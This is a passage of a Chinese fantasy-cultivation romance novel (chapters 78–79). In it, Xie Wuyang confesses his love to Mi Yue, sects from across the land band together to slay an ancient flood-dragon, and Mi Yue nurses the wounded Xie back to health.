以前变成幼崽时,她都未曾踏足过谢无恙的寝室,如今一看,屋内陈设雅致又不失简约,除了必要的家具外,几乎没有别的装饰,一如他清冷的性子。 窗户开了半扇,能看到窗外沉凉如水的夜色,月色浅而柔,照映在檀香木的桌案上仿佛落了一层的霜。 二人相坐在靠窗的桌案前,糜月从储物袋里拿出了一瓶梨花酿。 上回,她借口邀他喝酒,实则是把他灌醉,绑去了烬花宫,这次,她确是真心实意,想同他喝上一杯。 然而摆上酒盏后,她想起谢无恙那一杯倒的酒量,“算了,喝酒误事,你还是以茶代酒罢。”于是便把他面前那只还没来及倒入酒酿的杯盏,换成了桌案上银壶的清茶。 谢无恙也不挑,糜月给他什么,他便喝什么。 甜酒下肚,身子都跟着暖了起来,糜月放下酒盏,侧眸看到身旁的谢无恙,月色之下,清冷的面容如凝霜覆雪,更显出尘清俊,他的指腹轻搭在茶盏边沿,袅袅升腾的热气在他修长洁白的指节处缠绕。 他睫羽微敛,月光照不见他的眼底,似有心事。 糜月忽然想起那日,她从他灵府中取回花瓣后,谢无恙曾想挽留自己,她质问他:“花瓣你可以还给我,定元珠你也可以还给我,可我的娘亲你能还给我吗?” 然而时至今日,他竟然真的找到了娘亲尚在人世的线索,让她见到了她的娘亲。 糜月先前沉浸在找到娘亲的喜悦中,后来忙着商议七日后屠杀蛟龙的计划,此时方意识到,有些忽略了身边的他。 如今她的娘亲尚在幻境中,他的师父也修为受损,记忆全失,他心里一定也很难过吧。 “你师父他状况如何?玄机子怎么说?”糜月问他。 玄机子为秦不眠诊脉时,屋里都是隐剑宗的自己人,她并未进去。 “玄长老说,师父受损的神识和记忆可以通过调养慢慢恢复,但瞎了的那只眼睛,难以痊愈了。” 谢无恙顿了顿说道,修士讲究躯体完整,精气神三者合一,方能在修炼之途顺遂前行。身体若有残缺,精气神便会失衡,修行之路便如逆水行舟,寸进皆难。 师父没了一只眼睛,想要重修回曾经的渡劫修为,几乎成了不可能之事。 但比起丧命,已经足够幸运。 糜月沉默片刻,欲言又止:“真没想到你师父会和我娘亲……” 她一直以来都把秦不眠当成害死她娘亲的凶手,连带着把谢无恙也视作死敌,如今得知事情真相,没想到她欲杀之后快的杀母凶手,反倒是她母亲爱重的情人。 真是闹了个大乌龙。 “我也没有想到……” 谢无恙也觉得命运弄人,低声摇头道。 他知道师父有个心爱之人,便是画像上那名女子,可他只在无涯学宫时,见过糜芷音一面,但当时他跪在雪地里冻得快要昏过去,并未看清她的长相,因此亦不知那画像上之人就是糜月的娘亲。 “若是早知你的一丈仙有这等寻人的神通,也不至于白白让娘亲困在秘境这么多年不得出……” 糜月托着杯盏,喝了一口梨花酒,心下有些暗恼自责。 谢无恙闻言,不禁想到方才师父醒来后,因为没见到糜芷音而差点发疯,几个长老差点都没摁住他。 他又想起在无数个月夜里,师父身为一宗掌门,却常常孤身在月下独酌,喝得不省人事,而在幻境里,他虽为鱼贩走夫,每日粗茶淡饭,但每每看向糜芷音时,眼底的爱意和幸福都快要溢出来。 究竟哪个是师父真心想要的生活? 谢无恙想,如果他是秦不眠,定然是后者。 糜月放下杯盏,唇瓣还残留着些许水光,他抬起手,微凉的指腹轻轻擦去她唇瓣上残留的酒液。 “你不必自责,你怎知……秘境里的日子不是你娘亲想要的生活?” 这些时日的相处,糜月已经有些习惯和他亲昵的举动,愣愣地抬头:“他们想要的?” 谢无恙望进她那双酒后反而愈发清亮、如同含着春水般的漂亮狐狸眼,不置可否。 秦不眠和糜芷音在秘境里发生的一切,竟和他曾经在暗室里对糜月动过的隐秘心思,有些殊途同归。 在那幻境里,无需顾忌修为进阶的艰难,更不必操心宗门事务的繁杂,除了天地日月,便只有彼此,如同世间最平凡夫妻般,朝起暮息,相伴相守。那本是他梦寐以求,又深知遥不可及的生活。 可是在幻境里,他看到糜月像一头终于找到母亲的小鹿,飞一般地扑进糜芷音的怀中,激动到语无伦次,欢喜到喜极而泣的模样。 在那一刻,他亦有些如释重负,同时也忽然意识到,比起占有,更想让糜月欢喜,无拘无束,活得自在。 糜月若有所思,手中持着酒盏浅酌,夜风轻拂着扫过,莹白的面颊染上些许浅浅的桃粉。梨花酿是甜酒,外加她酒品很好,喝多了也只会犯困,反倒助眠,便没有克制。 不知不觉间,半瓶梨花酿已然都入了她的喉,那只刚替她擦过唇的手方把她的杯盏抽走了。 糜月懒懒抬眸,对上那双比夜色浓稠深邃的狭长双眸。 “糜月,如果你今夜着实不想睡,不必喝这么多酒,我帮你稳固修为,亦能消困祛乏……” 糜月卷翘的睫毛轻眨了眨,后知后觉,他所说的稳固修为,便是双修之意。 他这是邀请吗?还是引诱……或者是两者皆有? 她没思考出所以然来,身子一轻,她被人腾空抱起来,放在了床榻边。 在温热的掌心贴上她的后腰时,微醺的梨花甜酒,清幽淡雅的茶香浅浅交缠在一起,还有他身上特殊的雪松冷香。 鼻息之间顷刻间都被他清冷的气息侵占,窗外的石榴叶被夜风吹得沙沙作响,摇碎了一地的月光。 糜月抓着他的手臂,陷坐在他怀中的姿/势,瞥见垂下的床幔,有些不明白他们喝着酒聊着天,怎么就能聊到了榻上去。 她看着身前容貌清俊的男子,喝酒的人是她,但她并没有醉,而他更是清醒。 “你师父不都已经救出来了?”糜月扬起下巴,泛着水光的乌瞳带着三分不解。 “嗯……” “那你为何……”少女蹙起好看的眉,目露疑惑,“还愿意与我双修?” 她当初说好,修炼到烬花九重境便放过他,为了救他师父,他当初也别无选择,只能配合她。 可眼下已经打开石门将秦不眠带了出来,就算是为了帮她稳固修为,他也没必要继续委屈自己,做到这种程度。 烛光明灭,酒香暖融,旖旎的氛围被解开一角。 面前的人停顿了一会儿,眸光定定落在她脸上:“你以为我同你双修,是为了救我师父?” “……难道不是?”糜月轻扯了扯他乌黑的长发。 谢无恙轻吸了一口气,眉眼微敛,抿了抿唇角:“自然不是。” 她怎会……这么想? 若是换做旁人,他断不会与其双修。 哪怕是为了救师父,他会为那人寻来能尽快破镜的灵丹妙药,亦或是为她绑来其他能助益双修之人,他绝不会奉上自己的清白。 “那是为何?” 糜月愈发不解,难道是因为愧疚?所以想通过这种方式帮她提升修为来弥补? 可是秦不眠杀她娘亲的误会也已解开,他对她的愧疚之情,更不至于如此。 她脑子被他的气息搅扰得有些糊涂,又是被他搂坐在怀里的姿势,他一不动,她便更难受了。 她以为他是意兴阑珊,不想再继续了,搭在他肩上的手指下意识地收紧,她忍着酸软,抖着身子试图从他怀中起来,结果腰间蓦地传来强劲的力道,不由分说地把她重新摁回怀中。 “谢无恙,你……” 糜月一下都快被激出了泪,抬头对上他的眼睛,他眼底除了昭然若揭的情欲之外,还涌动着让她看不懂的情绪,仿佛积压在石潭地底深处的暗流,如今潭底被打破,冒出了一个泉眼小孔,暗潮翻涌着要从小孔里汩汩冒出来。 她呼吸微窒,心头闪过一个令她有些荒诞的猜测,荒诞到让她忍不住勾唇想笑。 “你难不成是……喜欢我啊?” 谢无恙低眸看着她唇角似是调侃的嘲笑,忽然意识到她仿佛对自己误解了什么。 先前有弑母之仇横在二人之间,他从未将对她的心意,正面表露。 可是他自愿留在烬花宫做她侍宫,陪她双修,为了讨她欢心,甚至去学了他以前十分鄙夷的双修之法,亦因为她一句喜欢,不顾宗门名声,夺取别宗法宝给她。 她竟然连一丝一毫都感觉不到吗? 腰间拥着她的力道更收紧了两分,二人几乎紧贴在一起,密不可分。男人的薄唇擦过她的耳畔,低叹了一声气,吹得她耳廓发痒,嗓音亦有些低迷的沉闷。 “糜月,你是不是想气死我……” 糜月缓过神来,她哪里又有气他,刚想开口,便听他闷声继续道。 “不止是喜欢……糜月。” “你是我在这世上最珍重之人,此生不二,之死靡它。” 他一字一句几乎咬着牙说出来,落地清晰可闻。 埋在他胸膛的少女身子一僵,倏然睁大了眼睛,瞳孔也因为惊讶而微微颤动,脸颊上粉红的微醺痕迹,在烛光掩映下更显艳色。 她是不是幻听了,谢无恙果真……喜欢她? 可他怎么会喜欢她呢?他一直不都是被她强迫的吗? 糜月仿佛被雷劈中,一瞬间有些手足无措。 她忍不住回想和谢无恙的种种过往,试图从中找到他撒谎欺瞒她的证据。可是从幼时花瓣被啃,到桐花秘境里抢夺定元珠,再到她因为娘亲之事,同他彻底反目。 一桩桩地细想来,她才惊异地发现,似乎一直都是她把他单方面当成了死对头的存在,挑衅他,对他冷语相向,常常一句话没说完,就和他大打出手。 所以下意识地觉得他也会讨厌厌恶自己。 可他,或许诚如上次同她所说,他从未将她视若仇敌…… 糜月动了动唇,喉咙哽住,一时说不出话。 这件事给她带来的冲击太大,她要好好消化一下,且不日便要应战蛟龙,她的心思都被填满,已然分不出空隙再去考虑其他事。 怀中的人没了声响。 谢无恙并不指望她能给自己任何回应,高大的身躯伏低,一缕乌发从肩头滑落,高挺的鼻梁抵在她的肩头,像一只孤高的仙鹤折下了头颅。 “我不求你给我什么,你把我当成侍宫,当什么都行,你若想双修,我的修为随你取用,” “但可不可以……不要去找别人。” 第78章 第 78 章 屠龙。 七日后。 隐剑宗东方海域。 成片的灵舟悬浮云端, 人影攒动,或是于天边御风而立,或是围站在海岸线的礁石边, 身着各色的宗服道袍,东洲有名的宗门都齐齐到场, 规模比上次的铸剑大会还要宏大。 烬花宫的灵舟就足有上百艘, 稳稳停靠在结界处。虽然宫主的传音纸鹤上说,只需要大乘境的弟子来组阵, 但事关前宫主安危,除了少部分弟子留守琼山,廖红叶将几乎能外派的弟子都带来了。 浩浩汤汤地组了上百艘灵舟, 于三日前便抵达了隐剑宗,随时听候糜月的调动差遣。 今日天晴无风, 海面平静无浪, 可众人脸上的凝重之色都在彰显着今日的不寻常。 除了隐剑宗和烬花宫这两派主力, 东洲各宗的掌门围绕在纪通身边, 低声相谈。 “纪掌门, 这蛟龙会在今日现身之事,当真确凿无疑?” “赵宗主,宁可信其有, 不可信其无啊。若是今日失手, 让那蛟龙脱逃, 以后四境可没有安生日子了。” 此时率先开口之人,还是和烬花宫先前生过龃龉的离火宗赵昇。 “我当然是相信纪掌门,所以才带弟子前来助阵,”说着他狐疑地看了眼天边那如晚霞般连绵的大片灵舟,“烬花宫竟也带了如此多的弟子前来屠龙, 倒是叫人意外。” 纪通闻言干笑了一声,烬花宫和隐剑宗的渊源,实在是三言两语说不尽道不完,眼下只能装聋作哑。 除了赵昇,在场还有不少与烬花宫有嫌隙的宗门,譬如弦音宗宗主江禄山,他的镇宗法宝被抢之事,隐剑宗至今还未给他一个说法。 赵昇和江禄山远眺着烬花宫招摇的旌旗,敢怒而不敢言。此次是共同应战足以对人修造成灭世威胁的上古凶兽,此时再攀扯门派之争,便显得太不懂以大局为重。 若在此时同烬花宫生事,在场的修士一人一口唾沫钉,都能把他们淹死。 另一边,合欢宗主唐玉容也在和糜月在灵舟上攀谈,合欢宗的弟子虽不擅长作战,但不乏修为高的高阶修士,正适合作为组阵的人选。 糜月一口气问他要了十个大乘境弟子过来,不但凑齐了百人缚灵阵的人手,还多了七人作为备选,预防届时有意外发生。 “糜月,就算东境有蛟龙作乱,也不至于让你如此兴师动众,” 唐玉容羽扇轻摇,有些不解地压低声问她,“等蛟龙将东境这些宗门元气大伤,你我再过来收拾残局,坐收渔翁之利,岂不是更好?如此乐于助人,倒不像是你的作风。” 糜月闻言沉默地顿了顿,她才不是为了隐剑宗,她是为了她的娘亲以及刻在秘宫里的心法。若是纵容蛟龙乱世,灭了隐剑宗,毁了玉京山,烬花宫也落不了什么好。 她睨了唐玉容一眼:“你确定若放手不管,任那蛟龙灭了东境,仅凭你我俩宗就能收服得了那条蛟龙?与其到时候两败俱伤,无法收场,还不如现在就将这恶兽斩杀于此。” “你说得也有道理,罢了罢了……” 唐玉容并未有一统四境的野心,只想着若是糜月有,他跟在后面能喝上一点汤,若糜月无此意,他也不想当出头鸟。 “如今看你恢复原身,修为也精进不少……”唐玉容看了看糜月,又意味深长地看向远处,羽扇遥遥一指,“我怎么听说,前阵子那个人不在隐剑宗,其实是去你们烬花宫做了侍宫,此事是真是假啊?” 糜月顺着他的目光看到了不远处正在给弟子们安排阵法站位的谢无恙,无为剑在他腰后挂着,雪色的长衫在一众的青色道服里很是打眼。 她轻扯了扯唇,没有否认:“你消息倒是灵通。” 此时,那道清隽的身影转过身来,目光遥遥和她对视,继而又落在她身边的唐玉容身上,凝顿片刻后收回视线。 糜月不由地回想起那日,他在榻上同她耳语所说之言,心下仿佛漏了一拍。 那日之后,烬花宫众人便赶来了玉京山,她这几日都同副宫主们宿在灵舟上,再没回悬海阁,也尚未同他说上些话。 唐玉容将他二人默契的对视尽收眼底,包括她耳后那抹稍纵即逝的绯红,稍感意外地挑了挑眉:“啧,糜月,你们俩……该不会过些日子我就要喝上喜酒了罢?” 糜月懒得再理他:“你话怎么这么多?快叫你的弟子过去布阵。” …… 百人缚灵大阵已经提前布好,众人各司其位,又屏息凝神地等了一炷香的时间。 海上的风声忽然变大了,日光也渐隐在云层之后,天边的流云仿佛滴入了墨汁的水晕,化作阴沉的积云,忽然都在往同一个方向聚拢。 上古蛟龙天生负有神力,能与天地共鸣,一旦现世,便会引得风云都为之变色,其场面不亚于渡劫期修士的雷劫,天地间都充斥着一股令人胆寒的威压。 随着第一道闷雷声炸响,仿佛行军前的号角,震得人耳骨生疼,紧接着道道闪电在低垂的铅云及海平面的相交处涌现。 海浪反常地掀起巨浪波涛,海水的颜色越来越深,一个巨大的漩涡正在缓缓形成,海水疯狂地打着转,发出沉闷的呼啸声,仿佛要将这世间万物都卷入那无尽的黑暗之中。 糜月心下一凛,来了。 千钧一发之际,一道仿佛碧落扶光般的熟悉身影从海面之下破水而出,身姿轻盈,又带着磅礴的气势。 “宫主,真的是宫主!” 烬花宫的弟子们满含激动,而其他不知内情的修士们则讶异万分。 “那是前任烬花宫主……糜芷音?她不是已经死了吗?” 糜月看见娘亲出来,心稍安了一瞬。 “开阵!” 一声令下,一颗硕大的龙头同时间从海面破出,在它张开血盆大口咬向糜芷音的刹那,组阵者脚下同时间浮现出金色阵纹,如同用灵力串联成的引线,一张由上百位大乘境强者凝结编制的灵力大网,兜头罩下。 蛟龙尚跃出海面小半个身子,便被那张金光大网及时罩住。这蛟龙的真身远比糜月在幻境中见过的还要庞大,浑身都包裹着流窜闪耀的电光,每一片鳞甲都比人面还要宽,长如鞭子的髯须彰显出它至少上万年的骨龄。 蛟龙身上的电光和灵力编制的金网相触,发出噼啪的电击声,冒出海面的蛟龙看到周围聚集着如此多的修士,便知道是中了圈套。 然而,它好不容易才从那秘境冲出,如今重见天日,哪怕明知是人修圈套,它也要借此杀出。 吃了,把他们一个不落地全吃了! 它仰头发出不死不休的愤怒龙吟,令天地都为之震颤,坚实有力的龙尾每一次拍打浪花,都能掀起数丈高的浪墙,这样的力度足以轻易能将一艘载客千人的船舟轻松拍散。 糜芷音御风在空中站定后,反手凝出烬花神相便朝下方的龙头砸去,糜月也反应极快地飞到娘亲身边,同样凝出烬花,帮她压制蛟龙。 在场绝大多数的修士活了半辈子,也没见过活的蛟龙,从初见的震撼当中回过神来后,也纷纷祭出各自的法宝,不要钱地朝那头网中蛟龙砸去。 然而一番令人眼花缭乱的光芒闪过,蛟龙分毫无伤,纪通拎着剑,都要怀疑是不是自己的本命剑出了问题。 他注满灵力的一击,甚至都未能在那蛟龙的鳞片上留下划痕。 其他修士们的攻击也不例外,都被蛟龙上环绕的电弧和刀枪不入的坚硬龙鳞挡下,唯有糜芷音和糜月凝出的烬花火雨,在龙鳞上留下了浅浅烧焦的痕迹。 蛟龙狂暴地翻滚挣动起来,缚灵阵的金网被它庞然的身躯挣到变形。缚灵阵的作用是双向的,困在阵中之物实力越强,耗费的灵力也越多。 维持阵法的修士们额角渐渐冒出虚汗。 “宗主,我顶不住了……” “我也不行了,灵力要耗空了。” 随着越来越多的修士体力不支,撑不住地相继倒地,那张缚灵大网随之彻底溃散,化作漫天粉碎的金光。 那张由上百位大乘期修士组成的缚灵大阵,竟然只困了蛟龙不到半盏茶的时辰。几个离它最近的修士被它龙尾掀起的飓风波及,掉进海水中。 在看到蛟龙这么快便突破缚灵阵时,糜月便心感不妙。 在这样的上古凶兽面前,人修的力量显得渺小又无力。 她忽然有些理解,为何当初烬花宫老祖们要花如此大的手笔,营造出幻境和地宫只为镇压这头蛟龙,为何娘亲宁愿牺牲自己的自由,以己为封印镇守环境,也不愿打开秘境之门,轻易将这头蛟龙放出…… “上星罗剑阵!” 纪通大声道。 星罗剑阵这是隐剑宗的独门困杀剑阵,由上千把修士的本命剑组成,威力极强。隐剑宗弟子们领命,纷纷合力祭出本命剑,连长老们都将自己的本命剑掏出。 上千把款式不一的长剑汇集在一起,组成铺天盖地的剑雨,再度朝着蛟龙斩下。 这些长剑虽然无法洞穿蛟龙的鳞甲,但如此密集地打在身上的滋味也不甚好受,蛟龙在剑雨中盘起粗长的身躯,暂时龟缩了起来。 眼见那蛟龙暂时被剑阵所困,糜月眼尖地发现在靠近蛟龙后爪的腹部,有一小块部位没有被龙鳞覆盖,在每一次剑阵和法宝落下时,它都会将那处刻意保护起来,似是它身上唯一的弱点。 “谢无恙,我和娘亲的烬花神相最能克制蛟龙,但是距离太远,烬火的威力会消减,你帮我吸引它的注意力,我要近它的身。” 她看出来了,因为修为相差太大,这些修士的作用也仅限于组阵法,真正和蛟龙正面对上的只有她、谢无恙和糜芷音三人。 “好,你当心。” 谢无恙也正有此意,相隔太远,加上这蛟龙有电光和鳞甲护身,他的无为剑也无法发挥全部的力量,与其这般耗下去,不如放手一搏。 他独自提剑御风靠近蛟龙的正面,而糜月则找机会,绕到了蛟龙的后方。 剑阵并未能持续太久,这类阵法本就讲究一招制敌,极为消耗灵气,然而这蛟龙在缚灵阵和剑阵之后,连一处显眼的外伤都没有,仍是一副生龙活虎的模样,倒是弟子们灵气损耗大半。 纪通的后背不由冒出了冷汗,这龙比他想象中的还要难杀啊。 他正焦灼时,忽然看到一道雪色身影御风逼近蛟龙的正前方,召唤出了他的神相白蟒。 白蟒的体型在同类中,已经是庞然无匹的存在,可跟眼前这体长百丈的蛟龙一比,瞬间就成了小泥鳅。白蟒被召唤出来后,看到面前体型是它数十倍的巨龙,并未畏战,反而义无反顾地朝它游冲了过去。 白蟒的蛇嘴大张,咬住蛟龙脖颈处的皮肉,硬生生地撕扯下来两片龙鳞。 纪通眼睛一亮,这是蛟龙第一次受伤,虽然只是两片龙鳞的皮外伤,但似乎有戏! 蛟龙吃痛,狠狠地抬起锋利的龙爪裹挟着疾风迅速对着白蟒抓去,“叮当”地一声脆响,谢无恙手中的剑身挡开了它的攻击。 在蛟龙的注意力全被谢无恙吸引时,糜月已然悄然来到了蛟龙的身后,一道完整的烬花神相从她双手中凝聚,旋转的九瓣烬花燃着能焚烧一切的烬火,瞅准时机,便朝蛟龙的腹部砸去。 蛟龙生性狡猾,在与谢无恙对战时也在时刻提防四周,在感受到那股令它恐惧的灼热逼近后,它立马回身,扭动着身躯灵敏地躲开了这一击。 一双比铜铃还大的猩红双瞳瞪着这个胆敢偷袭它的人修,瞬间调转了攻势,怒不可遏地抬爪朝糜月抓去。 糜月刚凝出一道神相,短时间内无法瞬间再凝结,而临时凝结灵力屏障又根本挡不住蛟龙的这一击,她急急地朝后御风褪去。 “月月!” 在龙爪落下之前,两道光芒挡在她身前。 一道是谢无恙的本命剑,另一道是她娘亲的烬花神相。 两道同样强大的攻击,同时震开了蛟龙这一爪。 见糜月无事,不远处的糜芷音才暗暗松了口气,方才见糜月朝蛟龙身后飞去时,她就心感不妙。 她怎么这么大胆,敢和蛟龙近身搏杀! “等第二波缚灵阵,先退!”谢无恙对糜月沉声道。 这样的距离,他自顾不暇,实在不放心糜月。 此时的蛟龙意识到它周围的这三人才是最难缠的,龙嘴里凝结出一道道雷球,呼啸着朝他们袭去。 “缚灵阵和剑阵只能拖延时间,并无法伤它!” 糜月堪堪侧身躲过一道雷球,咬牙说道,越拖下去,对他们越不利。 得想个办法,分散蛟龙的注意力,一击即中才行。 电光火石间,她忽然想到不久前,从弦音宗缴获来的那件镇宗法宝。 她从储物袋里拿出那只魂音铃,在灵力灌注后,那只金铃瞬间膨胀到千倍,涨大到足有洪钟般大小。 她喊道:“谢无恙,娘亲,捂住耳朵!” 随着她话音落,一道震荡心神的音波以那金钟为中心,迅速层层朝外扩散开来,巨大沉闷的钟声一时震得海浪狂翻,风云颤动,有些修为低的小修士瞬间流出了鼻血。 本来快要腾空而起的蛟龙,乍闻这道比佛刹古钟还要浑厚的钟声,瞬间被卸了力似地砸进海面。 糜月并不确定这法宝对蛟龙有没有效,只是拿出来一试,没想到效果卓然,她立刻抓住机会,纵身向前,一道烬花神相重新凝聚,以迅雷不及掩耳之势击向蛟龙暴露的腹部。 空气里顿时蔓延出烧焦的腥臭味,感受到腹部的剧痛,蛟龙发出高亢又痛苦的龙吟,一时爆发出最强盛的力量,龙嘴大张着吐出一股股足以铺满海域的雷焰。 距离蛟龙最近的是白蟒,几乎逃无可逃,雷焰包裹了它全身,顿时痛苦地嘶叫翻滚起来。 谢无恙与它神识相连,浑身猛地僵住,糜月那句“小心”还回荡在他的耳边,然而神识被雷电灼烧的剧痛,到底让他慢了半拍。 蛟龙同样锁定机会,选中这个离它最近的剑修,锋利的五爪疾如雷电般地落下,眨眼间洞穿了他的心口。 …… 第79章 第 79 章 一个吻便让他失态成那样…… 眼睁睁着谢无恙被龙爪洞穿, 糜月感觉浑身的血液都仿佛凝固了,待到发凉的手脚有了知觉,她身体快过脑子地冲上前去。 谢无恙手中持剑, 寒凉的剑光闪过,没有龙鳞覆盖的龙爪瞬间连同根部被削去了一截, 他纵身后撤, 握紧胸口处残留的利齿,果断地拔出。 “噗——” 不知道是蛟龙的血还是他的血, 飞溅了出来,将那雪白的衣衫染透。 与此同时,糜芷音凝出烬花神相, 朝着蛟龙已然被轰出一个大洞的腹部,再度补上一击。 一声龙吟嘶吼声响彻天地, 蛟龙如同被钉入了七寸的蛇, 庞大的身躯扭动, 掀起巨浪, 旋即一个猛子扎进海底。 片刻之后, 龙尸渐渐浮了起来,深红色的血染红了大片的海水。 铜铃大的龙眼仍怒目圆睁着,看起来似是死不瞑目。 “师弟!” “师叔!” “月月……” 周遭仿佛有很多道声音在说话, 糜月都听不见了, 只有眼前刺目的血红。她上前拥住那道摇摇欲坠的身影。 他半个身子都倚靠在她的肩上, 雪松香混着腥甜的血腥气沁入她的鼻底。 她虚搂着他的腰身,不敢使力怕弄疼了他,只敢轻扯着他的衣角,忽然感觉到胸前一阵湿濡,他汩汩冒出的温热鲜血将她的衣衫也给染透了。 “谢无恙, 你怎么样?你别吓我啊……”糜月的嗓音带着不自知的慌乱和颤抖。 身前的人没说话,但似乎还有气息。 缓了片刻,似是感受到她过于紧张和绷紧的身体,他抬起眼睫,低声安抚。 “我没事……” “有你在,我怎么舍得死。” 在听到他声音的那一刻,好似微风拂过耳畔,糜月找回了力气,被定格的世界又恢复了嘈杂。 几道身影飞到他们身边,拿止血药的拿止血药,扶人的扶人,场面一度混乱。 …… 静谧的午后,日头正盛,却不显燥热。 日光透过斑驳的树叶洒下片片碎金,落在明净的窗台,落在青石板铺就的台阶上,落在正睡在台阶上的绒毛肥兔子身上。 月饼的皮毛被日光晒得温热,睡到无知无觉,浅浅地翻了个身。 “玄长老嘱咐汤药每日三副,丹丸每日一服,都在这里了,还有伤口处要每三日换一次药……” 程令飞将手里的丹药放下,有些拘谨地挠着头,不敢正视面前姿容明艳的女子。 隔着竹帘,他隐约看到师叔倚靠在竹榻边的身影,他似乎都能坐起身了。 “嗯,我知道了。”糜月应声。 “那师叔没什么事的话,我们就先走了哈……”程令飞连忙道。 他这趟和夏沥过来,就是给师叔送药外加探望的。 糜月端起手中的汤药,在撩开竹帘进屋之前,随口说了句,“夏沥,走之前帮我给院子里的月饼梳梳毛。” 夏沥一愣,旋即应道:“哦……好。” 随着糜月进屋,夏沥和程令飞也来到院子里,俩脑袋凑在一起,一边给月饼梳毛,一边小声嘀咕。 “师姐,你有没有觉得,月月的五官和糜宫主像极了?” 对战绞龙时,夏沥和程令飞都是剑阵中的一员,站得离战场中心太远,只远远瞧见了糜月的身影,而上次铸剑大会就更不用说了,假扮糜月的薛紫烟全程带着面纱,他们根本没看过糜月长什么模样。 方才近距离看到糜月,程令飞都看傻了。 感叹那位烬花宫主是真是生得极美,难怪能让心冷似雪的师叔动情,但五官和月月也是真的像,宛如一个模子刻出来的。 “废话,月月本来不就是师叔和糜宫主的女儿,当然像了。” “说的也是,”程令飞一边拿出灵果喂月饼,一边随口同她闲聊,“糜宫主杀了蛟龙之事,在四境都传开了,那个弦音宗主到处说,糜宫主能杀蛟龙,多亏了他们的镇宗法宝。” 夏沥也听说了那件事,在场有看不过江禄山自夸的修士,回怼他“怎么那法宝在你手中时,不见有那般威力?”江禄山便不吭声了。 要知道,法宝的威力也取决于使用者的实力修为,得亏那法宝在糜月手中,已是九重境的她自然能将法宝的威力全运用出来。 总之经此一战,江禄山也不再问隐剑宗要说法了,烬花宫宫主屠龙之事如今也成了四境美谈,当然,还外加还有师叔和糜宫主的风流韵事。 糜宫主在那么多人面前抱了他们师叔,这两日又陪在他身边照顾,更实锤了当年那桩俩人情投意合已育有私生女的传言。 夏沥想到什么,梳兔毛的手顿住:“不过,糜宫主她怎么会知道我的名字啊?” …… “你那两个师侄来给你送汤药了。” 听见糜月进来的动静,倚靠在榻边的人缓缓睁开眼。 此时天色已然见暖了,谢无恙穿着一件单薄里衣,领口处露出了层叠包扎的纱布,墨发松散地披在脑后,本就冷白的肤色因为缺失气血,比平日更多了几分清冷的破碎感。 糜月将手中的丹丸搁在桌案上,转眸看着床上的人,他神色如常,如今已经能坐起来看书了,若不是左肩连着胸膛处缠着几圈的纱布,一点也看不出来是身受重伤的模样。 但她想到那日的情景,却还是忍不住地后怕。 玄机子说,那龙爪洞穿的位置距离他的心脏只差一寸,修士虽然在受了外伤后,借住丹药能恢复得很快,但唯有两处若是遭受重创,神仙难救,一处是头颅,另一处便是心脏。 “趁热喝吧。” 糜月旋即将手中的药碗递给他,榻上的人轻轻看她一眼,垂眸道:“都是皮外伤,慢慢就能自愈,没必要喝药。” “……?” 糜月狐疑地看看他,后者始终敛着眸子,没有与她对视,仿佛在遮掩什么。 她想起她变成幼崽感染了风寒的那次,她不想喝药,他还去城中给她买了糖葫芦回来……这人不会也怕喝苦药吧? 可眼下,她可弄不来糖葫芦给他吃。 “昨日,烬花宫的人便都已经启程回去了,你……为何没有回?” 糜月正想着要不要捏住他的下巴,把这药强灌下去,听到他的问话,动作一顿。 当时她安排谢无恙作为诱饵吸引蛟龙的主意,是因为除了他再无别的选择,若换成别的修士,便是纯送命的份儿。 而他在与蛟龙斡旋时,无为剑还一直围绕护在她身边,为她抵挡蛟龙的攻击,所以才没能在神识受创后,第一时间用剑抵御蛟龙的那一爪。 她心里有内疚自责,更有说不清的疼惜,如实道:“我得看着你把伤养好。” “所以……我伤好了,你就会走。” 谢无恙的语气肯定,带着些许沉闷的消沉。 他只怪蛟龙没有把他伤得再重一点,是不是要像师父那样,残缺了一只眼睛,她才会因为内疚,从而多陪伴在他身边? 可是那样,她会不会又嫌他不好看了?她一向只喜欢漂亮的事物。 糜月从他无波无澜的表情里,完全猜不到他此时千转百回的心思,但又从他的话里悟出几分了然。 原来,这人是因为担心她离开,所以才不肯好好喝药的么? 她把手中汤碗轻搁在案头,碰出一声脆响。 谢无恙以为她生气了,然而下一刻,如三月桃花般淡淡的幽香倾近,少女纤白的手指捧起他的脸,带着馨香的柔软印上了他的唇。 糜月没接过吻,她也不会,只是用唇珠和柔软的唇瓣在他的唇角蜻蜓点水地蹭了蹭, 片刻后,她从他的唇上移开,狐狸眼轻眨了下:“这样……可以安心喝药了么?” 狭长的凤眸里瞳孔如墨染地扩张,连呼吸都静了下来,从她俯身亲吻到离开,榻上的男人一动不动,仿佛被咒语定住了。 糜月第一次在谢无恙的脸上看到状似呆愣的表情。 “你要是乖乖喝药,还可以……” 她浅抿了下唇,忽然觉得心跳加快了几拍。 很奇怪,明明他们更亲密的事都做过许多回了,单单是亲吻,怎么会让她觉得耳根发热。 手中的汤碗瞬间被人夺走,谢无恙托着碗底仰头喝下,因为喝的太快,还差点被呛到。 眨眼间,便将满满一碗的汤药喝得一滴不剩。 “喝完了。” 谢无恙将空碗放下,乌墨的眸锁定在她身上,眼底闪着清浅的亮光。 糜月还未反应过来,有力的手臂揽过她腰间,微凉的薄唇压着她吻过来。 似是不满足方才隔靴搔痒似的轻吻,双唇再度触碰时,舌尖抵进她的牙关。 温热的吐息交缠,她尝到了他口中汤药的苦涩。 糜月不会接吻,谢无恙却很会,亲她的唇角、唇瓣,勾着她的舌尖,互相渡着气息,不知是从书上学到的,还是情深所至,亲得她手脚有些发软。 糜月觉得嘴唇发麻,舌头也麻麻的,整个人陷在这个吻里,头脑一片空白。 以前她不太理解,谢无恙为何在双修时总想着亲她,现在有些明白了,是全然不同的体验。他积攒已久、无从释放的爱意,在这一刻,都化作了一个个吻。 她被亲得气息不稳地带倒在了榻上,腰间传来的力道很紧,几乎要把她揉进骨血。 糜月不禁想,这人都伤成这样了,怎么还这么有劲? “谢无恙,压到你的伤口了……” 谢无恙眼下还哪顾得上什么伤口,她的这个吻简直比这世间最好的灵药都管用。 雨过天晴,日出薄暮,堆积在他心头那患得患失、时浓时淡的阴霾,仿佛都被那个吻驱散治愈了。 她按着他没受伤的那边肩膀,从他怀中抬起头来,唇瓣微红还泛着水光,拧起好看的眉:“等下伤口崩出血了,又要重新包扎……” 而且…… 以对彼此身体的了解,再亲下去,真的会烈火干柴,无法收场。 她没想到起初只是想哄他喝药的一个吻,便能撩拨得他失态成这样。 谢无恙握着她的手腕不松,糜月只好陪着他躺下来。 “所以……是不走了?” 他敛眸看着她,忍着再度想亲上去的欲/望,小心向她确认。 